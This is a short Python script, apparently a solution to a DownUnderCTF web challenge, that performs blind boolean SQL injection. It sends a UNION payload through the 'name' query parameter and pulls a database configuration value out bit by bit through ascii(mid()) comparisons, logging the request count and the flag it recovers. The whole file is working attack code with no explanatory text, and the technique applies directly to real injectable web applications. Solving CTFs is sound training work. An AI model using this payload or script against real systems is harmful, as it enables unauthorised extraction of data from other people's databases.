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| #!/usr/bin/env python3 | |
| import requests, string, binascii, sys, time | |
| uuid = "04f614a4-fc01-11ea-b4a9-ca5544c5d70c" # replace with space uuid | |
| url = 'https://chal.duc.tf:30103/circle/{}/people'.format(uuid) | |
| #query = "select version()" | |
| query = "select cfg_value FROM the_cfg" | |
| flag = "" | |
| pos = 1 | |
| request_count = 0 | |
| start = time.time() # calculate how long it takes to extract flag | |
| while True: | |
| i = 1 | |
| binary = "0" | |
| for i in [64,32,16,8,4,2,1]: | |
| request_count += 1 | |
| payload = '" and 1=0 union select id from circle where (ascii(mid(({}),{},1))&{}={})-- -'.format(query, pos,i,i); | |
| r = requests.get(url, params={"name": payload}) | |
| binary += "1" if ("- is part of your circle" in r.text) else "0" | |
| sys.stdout.write(binary) | |
| sys.stdout.flush() | |
| flag += chr(int(binary, 2)) | |
| if binary == "00000000": break | |
| pos += 1 | |
| done = time.time(); | |
| print("\n[*] time: {}".format(done-start)) | |
| print("\n[*] request count: {}".format(request_count)) | |
| print("\n[*] flag: {}".format(flag)) | |
| print("[*] done") |
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